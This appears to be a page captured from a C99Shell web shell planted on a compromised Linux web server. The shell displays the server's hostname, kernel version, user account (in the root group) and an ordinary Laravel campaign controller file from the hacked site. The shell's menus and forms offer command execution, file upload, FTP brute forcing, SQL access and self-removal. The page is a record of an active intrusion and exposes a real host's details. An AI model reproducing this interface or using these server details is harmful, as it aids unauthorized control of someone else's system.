!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/adflow-backend.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 25.16 GB of 117.98 GB (21.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignController.php (3.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Campaign;
use 
App\Models\AuditLog;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;

class 
CampaignController extends Controller
{
    public function 
index()
    {
        return 
response()->json(Auth::user()->campaigns()->latest()->get());
    }

    public function 
store(Request $request)
    {
        
$validated $request->validate([
            
'name' => 'required|string|max:255',
            
'landing_url' => 'required|url',
            
'type' => 'required|string',
            
'description' => 'nullable|string',
            
'creatives' => 'nullable|array',
            
'geo_targeting' => 'nullable|array',
            
'device_targeting' => 'nullable|array',
            
'daily_budget' => 'nullable|numeric',
            
'total_budget' => 'nullable|numeric',
            
'bidding_strategy' => 'nullable|string',
        ]);

        
$campaign Auth::user()->campaigns()->create($validated);

        
AuditLog::log('Campaign Created''campaign'$campaign->id, ['name' => $campaign->name]);

        return 
response()->json($campaign201);
    }
    public function 
show($id)
    {
        
$campaign Auth::user()->campaigns()
            ->
with(['performances''auditLogs.user'])
            ->
findOrFail($id);

        
// Calculate aggregates
        
$totalSpend $campaign->performances->sum('spend');
        
$totalImpressions $campaign->performances->sum('impressions');
        
$totalClicks $campaign->performances->sum('clicks');
        
$totalConversions $campaign->performances->sum('conversions');

        
// Calculate CTR and CPC
        
$ctr $totalImpressions ? ($totalClicks $totalImpressions) * 100 0;
        
$cpc $totalClicks $totalSpend $totalClicks 0;

        
$campaign->setAttribute('aggregates', [
            
'spend' => $totalSpend,
            
'impressions' => $totalImpressions,
            
'clicks' => $totalClicks,
            
'conversions' => $totalConversions,
            
'ctr' => round($ctr2),
            
'cpc' => round($cpc2),
        ]);

        return 
response()->json($campaign);
    }
    public function 
update(Request $request$id)
    {
        
$campaign Auth::user()->campaigns()->findOrFail($id);

        
$validated $request->validate([
            
'name' => 'sometimes|string|max:255',
            
'landing_url' => 'sometimes|url',
            
'type' => 'sometimes|string',
            
'description' => 'nullable|string',
            
'creatives' => 'nullable|array',
            
'geo_targeting' => 'nullable|array',
            
'device_targeting' => 'nullable|array',
            
'daily_budget' => 'nullable|numeric',
            
'total_budget' => 'nullable|numeric',
            
'bidding_strategy' => 'nullable|string',
            
'status' => 'sometimes|string|in:active,paused,archived',
        ]);

        
$campaign->update($validated);

        
// Log the action
        // Log the action
        
AuditLog::log('Campaign Updated''campaign'$campaign->id$campaign->getChanges());

        return 
response()->json($campaign);
    }

    public function 
destroy($id)
    {
        
$campaign Auth::user()->campaigns()->findOrFail($id);
        
$campaign->delete();

        
AuditLog::log('Campaign Deleted''campaign'$campaign->id, ['name' => $campaign->name]);

        return 
response()->json(null204);
    }

    public function 
duplicate($id)
    {
        
$campaign Auth::user()->campaigns()->findOrFail($id);
        
        
$newCampaign $campaign->replicate();
        
$newCampaign->name $campaign->name ' (Copy)';
        
$newCampaign->status 'paused'// Default to paused
        
$newCampaign->created_at now();
        
$newCampaign->updated_at now();
        
$newCampaign->save();

        
// Log the action
        // Log the action
        
AuditLog::log('Campaign Duplicated''campaign'$newCampaign->id, ['original_id' => $campaign->id]);

        return 
response()->json($newCampaign201);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--